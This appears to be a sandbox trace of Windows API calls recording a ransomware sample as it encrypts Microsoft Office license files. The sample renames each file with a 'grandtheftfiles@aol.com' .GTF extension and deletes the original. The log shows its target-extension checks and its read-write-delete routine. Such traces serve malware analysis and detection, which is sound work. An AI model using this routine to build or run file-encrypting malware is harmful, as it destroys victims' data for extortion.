	[0179.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
	[0179.491] lstrlenW (lpString=".doc") returned 4
	[0179.491] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.491] lstrlenW (lpString=".docx") returned 5
	[0179.491] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.491] lstrlenW (lpString=".pdf") returned 4
	[0179.491] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.491] lstrlenW (lpString=".xls") returned 4
	[0179.491] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.491] lstrlenW (lpString=".xlsx") returned 5
	[0179.491] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.491] lstrlenW (lpString=".ppt") returned 4
	[0179.491] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
	[0179.492] lstrlenW (lpString=".zip") returned 4
	[0179.492] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.492] lstrlenW (lpString=".rar") returned 4
	[0179.492] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.492] lstrlenW (lpString=".bz2") returned 4
	[0179.492] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.492] lstrlenW (lpString=".7z") returned 3
	[0179.492] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
	[0179.492] lstrlenW (lpString=".dbf") returned 4
	[0179.492] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
	[0179.492] lstrlenW (lpString=".1cd") returned 4
	[0179.492] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
	[0179.492] lstrlenW (lpString=".jpg") returned 4
	[0179.492] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.492] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.492] lstrlenW (lpString="O365HomePremR_SubTest3-pl.xrm-ms") returned 32
	[0179.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0179.493] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11179) returned 1
	[0179.493] CloseHandle (hObject=0x378) returned 1
	[0179.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms")) returned 0x220
	[0179.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0179.494] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.494] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0179.495] GetLastError () returned 0x0
	[0179.495] ReadFile (in: hFile=0x378, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0179.523] WriteFile (in: hFile=0x568, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0179.524] ReadFile (in: hFile=0x378, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.524] WriteFile (in: hFile=0x568, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x114, lpOverlapped=0x0) returned 1
	[0179.524] SetEndOfFile (hFile=0x568) returned 1
	[0179.530] CloseHandle (hObject=0x568) returned 1
	[0179.534] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.534] SetEndOfFile (hFile=0x378) returned 1
	[0179.553] CloseHandle (hObject=0x378) returned 1
	[0179.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms")) returned 1
	[0179.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0179.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0179.557] lstrlenW (lpString=".doc") returned 4
	[0179.557] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.557] lstrlenW (lpString=".docx") returned 5
	[0179.557] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.558] lstrlenW (lpString=".pdf") returned 4
	[0179.558] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.558] lstrlenW (lpString=".xls") returned 4
	[0179.558] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.558] lstrlenW (lpString=".xlsx") returned 5
	[0179.558] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.558] lstrlenW (lpString=".ppt") returned 4
	[0179.558] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0179.558] lstrlenW (lpString=".zip") returned 4
	[0179.558] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.558] lstrlenW (lpString=".rar") returned 4
	[0179.558] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.558] lstrlenW (lpString=".bz2") returned 4
	[0179.558] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.558] lstrlenW (lpString=".7z") returned 3
	[0179.558] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0179.558] lstrlenW (lpString=".dbf") returned 4
	[0179.558] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0179.558] lstrlenW (lpString=".1cd") returned 4
	[0179.558] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0179.558] lstrlenW (lpString=".jpg") returned 4
	[0179.558] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0179.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0179.558] lstrlenW (lpString=".doc") returned 4
	[0179.558] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.558] lstrlenW (lpString=".docx") returned 5
	[0179.558] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.558] lstrlenW (lpString=".pdf") returned 4
	[0179.558] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.558] lstrlenW (lpString=".xls") returned 4
	[0179.559] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.559] lstrlenW (lpString=".xlsx") returned 5
	[0179.559] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.559] lstrlenW (lpString=".ppt") returned 4
	[0179.559] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0179.559] lstrlenW (lpString=".zip") returned 4
	[0179.559] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.559] lstrlenW (lpString=".rar") returned 4
	[0179.559] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.559] lstrlenW (lpString=".bz2") returned 4
	[0179.559] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.559] lstrlenW (lpString=".7z") returned 3
	[0179.559] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0179.559] lstrlenW (lpString=".dbf") returned 4
	[0179.559] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0179.559] lstrlenW (lpString=".1cd") returned 4
	[0179.559] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0179.559] lstrlenW (lpString=".jpg") returned 4
	[0179.559] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.559] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.560] lstrlenW (lpString="O365HomePremR_SubTest4-pl.xrm-ms") returned 32
	[0179.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0179.560] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11179) returned 1
	[0179.560] CloseHandle (hObject=0x560) returned 1
	[0179.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms")) returned 0x220
	[0179.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0179.561] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.561] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0179.561] GetLastError () returned 0x0
	[0179.562] ReadFile (in: hFile=0x560, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0179.574] WriteFile (in: hFile=0x378, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0179.575] ReadFile (in: hFile=0x560, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.575] WriteFile (in: hFile=0x378, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x114, lpOverlapped=0x0) returned 1
	[0179.575] SetEndOfFile (hFile=0x378) returned 1
	[0179.575] CloseHandle (hObject=0x378) returned 1
	[0179.575] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.576] SetEndOfFile (hFile=0x560) returned 1
	[0179.581] CloseHandle (hObject=0x560) returned 1
	[0179.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.583] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms")) returned 1
	[0179.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0179.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0179.585] lstrlenW (lpString=".doc") returned 4
	[0179.585] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.585] lstrlenW (lpString=".docx") returned 5
	[0179.585] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.585] lstrlenW (lpString=".pdf") returned 4
	[0179.585] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.585] lstrlenW (lpString=".xls") returned 4
	[0179.585] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.586] lstrlenW (lpString=".xlsx") returned 5
	[0179.586] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.586] lstrlenW (lpString=".ppt") returned 4
	[0179.586] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0179.586] lstrlenW (lpString=".zip") returned 4
	[0179.586] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.586] lstrlenW (lpString=".rar") returned 4
	[0179.586] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.586] lstrlenW (lpString=".bz2") returned 4
	[0179.586] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.586] lstrlenW (lpString=".7z") returned 3
	[0179.586] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0179.586] lstrlenW (lpString=".dbf") returned 4
	[0179.586] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0179.586] lstrlenW (lpString=".1cd") returned 4
	[0179.586] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0179.586] lstrlenW (lpString=".jpg") returned 4
	[0179.586] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0179.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0179.586] lstrlenW (lpString=".doc") returned 4
	[0179.586] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.586] lstrlenW (lpString=".docx") returned 5
	[0179.586] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.586] lstrlenW (lpString=".pdf") returned 4
	[0179.586] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.586] lstrlenW (lpString=".xls") returned 4
	[0179.586] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.586] lstrlenW (lpString=".xlsx") returned 5
	[0179.586] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.586] lstrlenW (lpString=".ppt") returned 4
	[0179.586] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0179.587] lstrlenW (lpString=".zip") returned 4
	[0179.587] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.587] lstrlenW (lpString=".rar") returned 4
	[0179.587] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.587] lstrlenW (lpString=".bz2") returned 4
	[0179.587] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.587] lstrlenW (lpString=".7z") returned 3
	[0179.587] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0179.587] lstrlenW (lpString=".dbf") returned 4
	[0179.587] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0179.587] lstrlenW (lpString=".1cd") returned 4
	[0179.587] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0179.587] lstrlenW (lpString=".jpg") returned 4
	[0179.587] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.587] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.587] lstrlenW (lpString="O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 36
	[0179.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0179.588] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11630) returned 1
	[0179.588] CloseHandle (hObject=0x560) returned 1
	[0179.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms")) returned 0x220
	[0179.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0179.589] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.589] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0179.590] GetLastError () returned 0x0
	[0179.590] ReadFile (in: hFile=0x560, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0179.702] WriteFile (in: hFile=0x540, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0179.703] ReadFile (in: hFile=0x560, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.703] WriteFile (in: hFile=0x540, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0179.703] SetEndOfFile (hFile=0x540) returned 1
	[0179.703] CloseHandle (hObject=0x540) returned 1
	[0179.703] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.703] SetEndOfFile (hFile=0x560) returned 1
	[0179.706] CloseHandle (hObject=0x560) returned 1
	[0179.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.707] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms")) returned 1
	[0179.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0179.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0179.707] lstrlenW (lpString=".doc") returned 4
	[0179.707] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.707] lstrlenW (lpString=".docx") returned 5
	[0179.707] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.707] lstrlenW (lpString=".pdf") returned 4
	[0179.707] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.707] lstrlenW (lpString=".xls") returned 4
	[0179.707] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.707] lstrlenW (lpString=".xlsx") returned 5
	[0179.708] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.708] lstrlenW (lpString=".ppt") returned 4
	[0179.708] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0179.708] lstrlenW (lpString=".zip") returned 4
	[0179.708] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.708] lstrlenW (lpString=".rar") returned 4
